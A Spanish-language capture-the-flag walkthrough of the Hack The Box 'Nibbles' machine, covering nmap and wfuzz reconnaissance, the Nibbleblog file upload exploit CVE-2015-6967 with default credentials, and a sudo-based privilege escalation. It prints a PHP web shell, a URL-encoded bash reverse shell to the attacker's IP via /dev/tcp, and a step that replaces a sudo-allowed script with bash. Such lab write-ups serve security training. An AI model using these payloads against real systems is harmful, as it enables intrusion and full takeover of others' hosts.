Nibbles
Skills
- Abusing Nibbleblog - Remote Code Execution via File Upload (CVE-2015-6967)
- Abusing Sudoers [Privilege Escalation]
Certificaciones
- eJPT
Descripción
Nibbles
es una máquina easy linux
donde estaremos vulnerando la máquina a través de un file upload
, subiremos un archivo .php
malicioso que nos permitirá ejecutar comandos
. Nos convertiremos en usuario root
abusando del sudoers
mediante un archivo en nuestro directorio home
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.96.84
PING 10.129.96.84 (10.129.96.84) 56(84) bytes of data.
64 bytes from 10.129.96.84: icmp_seq=1 ttl=63 time=77.7 ms
64 bytes from 10.129.96.84: icmp_seq=2 ttl=63 time=63.6 ms
^C
--- 10.129.96.84 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 63.591/70.666/77.741/7.075 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.96.84 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 23:01 CEST
Initiating SYN Stealth Scan at 23:01
Scanning 10.129.96.84 [65535 ports]
Discovered open port 22/tcp on 10.129.96.84
Discovered open port 80/tcp on 10.129.96.84
Completed SYN Stealth Scan at 23:01, 13.69s elapsed (65535 total ports)
Nmap scan report for 10.129.96.84
Host is up (0.094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds
Raw packets sent: 67264 (2.960MB) | Rcvd: 67264 (2.691MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p 22,80 10.129.96.84 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 23:06 CEST
Nmap scan report for 10.129.96.84
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
Web Enumeration
Nos dirigimos a la página web y se visualiza
lo siguiente:
Si vemos el código fuente
de la página web
Al acceder a http://10.129.96.84/nibbleblog/
vemos lo siguiente
Al parecer la página usa como lenguaje
de programación php
Fuzzeamos
en busca de nuevos directorios
, junto con las extensiones
más comunes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# wfuzz -t 100 -c --hc 404,403 -z file,/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z file,/usr/share/seclists/Discovery/Web-Content/web-extensions.txt http://10.129.96.84/nibbleblog/FUZZFUZ2Z
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning:urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.96.84/nibbleblog/FUZZFUZ2Z
Total requests: 9042386
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 200 60 L 168 W 2985 Ch "index - .php"
000001171: 200 10 L 13 W 402 Ch "sitemap - .php"
000004574: 200 7 L 15 W 302 Ch "feed - .php"
000010027: 200 26 L 96 W 1401 Ch "admin - .php"
000028723: 200 0 L 11 W 78 Ch "install - .php"
000031962: 200 87 L 174 W 1621 Ch "update - .php"
Encontramos la ruta http://10.129.96.84/nibbleblog/admin.php
, donde visualizamos lo siguiente
Las ruta http://10.129.96.84/nibbleblog/update.php
también nos muestra información interesante
Investigando un poco nos damos cuenta de que Nibbleblog
es un CMS
, cuya versión es la 4.0.03
https://www.bilib.es/actualidad/articulos-tecnologicos/post/noticia/nibbleblog-un-nuevo-cms-para-crear-blogs-sin-usar
Con searchsploit
hemos encontrado una vulnerabilidad
para esta versión
1
2
3
4
5
6
7
8
# searchsploit Nibbleblog
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Como queremos evitar usar metasploit
he buscado un exploit en github
https://github.com/dix0nym/CVE-2015-6967. Antes de usar este exploit debemos crearnos un archivo llamado shell.php
en el mismo
directorio que el proyecto
de github
1
2
3
<?php
echo shell_exec($_REQUEST['cmd']);
?>
Una vez hecho esto procedemos a explotar
esta vulnerabilidad
1
2
3
4
5
6
# python3 exploit.py --url http://10.129.96.84/nibbleblog/ --username admin --password nibbles --payload shell.php
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.
Analizando
el código
del exploit
vemos que la ruta
donde se sube
nuestro archivo .php
es http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php?cmd=whoami
. El output que nos devuelve este comando es el siguiente
Vamos a mandarnos una reverse shell
a nuestro equipo
, para ello debemos ponernos en escucha por el puerto 443
y usar este payload
en la url
. El payload
ha sido generado
en https://www.revshells.com/
1
# nc -nlvp 443
1
http://10.129.96.84/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.15%2F443%200%3E%261%27
Intrusión
Una vez en la máquina víctima vamos a realizar un tratamiento
a la TTY
1
2
3
4
5
6
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.129.96.84] 50734
bash: cannot set terminal process group (1351): Inappropriate ioctl for device
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Ya tenemos un consola
completamente interactiva
1
2
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ whoami
nibbler
Privilege Escalation
En nuestro directorio /home
nos encontramos un archivo .zip
llamado personal.zip
, el cual descomprimimos
1
2
3
4
5
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
Al listar
los binarios
que podemos ejecutar
como sudo
, vemos que podemos usar el script
que hay en nuestro directorio personal llamado monitor.sh
1
2
3
4
5
6
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Este es el script monitor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
# clear the screen
clear
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
while getopts iv name
do
case $name in
i)iopt=1;;
v)vopt=1;;
*)echo "Invalid arg";;
esac
done
if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi
if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi
if [[ $# -eq 0 ]]
then
{
# Define Variable tecreset
tecreset=$(tput sgr0)
# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"
# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os
# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"
# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture
# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease
# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME
# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip
# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip
# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers
# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who
# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"
# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset
cat /tmp/diskusage
# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage
# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime
# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage
# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))
Al listar
los privilegios
de este archivo nos damos cuenta de que podemos modificarlo
1
2
3
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
Vamos a copiarnos
el binario
de la bash
en este directorio
y a renombrarlo
a monitor.sh
1
2
3
4
5
6
7
8
nibbler@Nibbles:/home/nibbler/personal/stuff$ which bash
/bin/bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ cp /bin/bash .
nibbler@Nibbles:/home/nibbler/personal/stuff$ rm monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ mv bash monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 1016
-rwxr-xr-x 1 nibbler nibbler 1037528 Jul 6 09:42 monitor.sh
Al ejecutar
la bash
con sudo
obtenemos una bash como usuario root
1
2
3
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo ./monitor.sh
root@Nibbles:/home/nibbler/personal/stuff# whoami
root